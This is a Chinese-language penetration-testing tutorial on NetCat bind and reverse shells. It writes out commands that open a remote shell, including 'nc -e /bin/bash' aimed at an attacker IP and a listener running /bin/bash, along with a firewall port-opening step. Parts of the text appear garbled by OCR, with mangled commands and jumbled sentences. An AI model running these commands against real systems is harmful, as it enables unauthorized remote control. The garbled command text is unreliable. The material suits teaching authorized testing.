反弹Shell是指渗透测试中监听某个端口,然后通过目标连接攻击机监听的端口,在攻击机反弹得到目标机的Shell。通常在目标网络有防火墙或其他因素限制,导致无法持续控制目标,成执行命令受阻等情况时需要进行反弹Shell。使用NetCat反弹Shell,NetCat简称NC,是一个简单、可靠的网络工具,被誉为网络异的瑞士军刀。通过NC可以进行端口扫描、反弹Shell、端口监听和文件传输等操作,常用参数如下:
指定连接后要执行的Shell命令,指定连接后要执行的文件名l配置Socket一直存活(若不想退出Shell后使监听断开可使用此参数)监听模式,设置本地主机使用的通信端口使用UDP传输协议,默认为TCP显示指令执行过程,用-v会更详细下面介绍一个NC建立正向Shell的实例。
1.正向Shell
当可直接访问目标机时,可在目标机运行“nc -lvvp 1111所示。/bin/bash”,监听本地的111端口,当连接成功时执行目标机
攻击机“/bin/bash”,这样连接成功时就可以创建一个远程Shell,Windows的话只需将“/bin/bash”换成“cmd.exe”的路径。在目标机运行命令“nc -lvvp 1111 -c /bin/bash”,然后运行命令“firewall-emdpermanent--add-port-1111/tcp”配置防火墙开放1111端口,然后运行“firewall-cmdreload”命令重启防火墙使策略生效,配置防火墙。然后在攻击机运行“nc 1.1.1.2 1111”连接目标机的1111端口,连接成功就可以创建一个远程Shell,正向Shell。
2.反向Shell
下面介绍一个NC建立反向Shell的实例。reatakalic-#nc 1.1.1.2 1111当目标机可访问外网时,可先在攻击机监听某一端口,然后从目标机连接此端口反向反弹Shell。在攻击机运行命令“nc -lvvp 1111”监听1111端口。在目标机运行命令“nc-e/bin/bash 1.1.1.1 1111”反弹Shell。it-#nc -lvvp 1111(rootPlocalliost")nc.e/blivbash1.1.1监听1111端口反弹成功后在攻击机可使用Shell运行命令。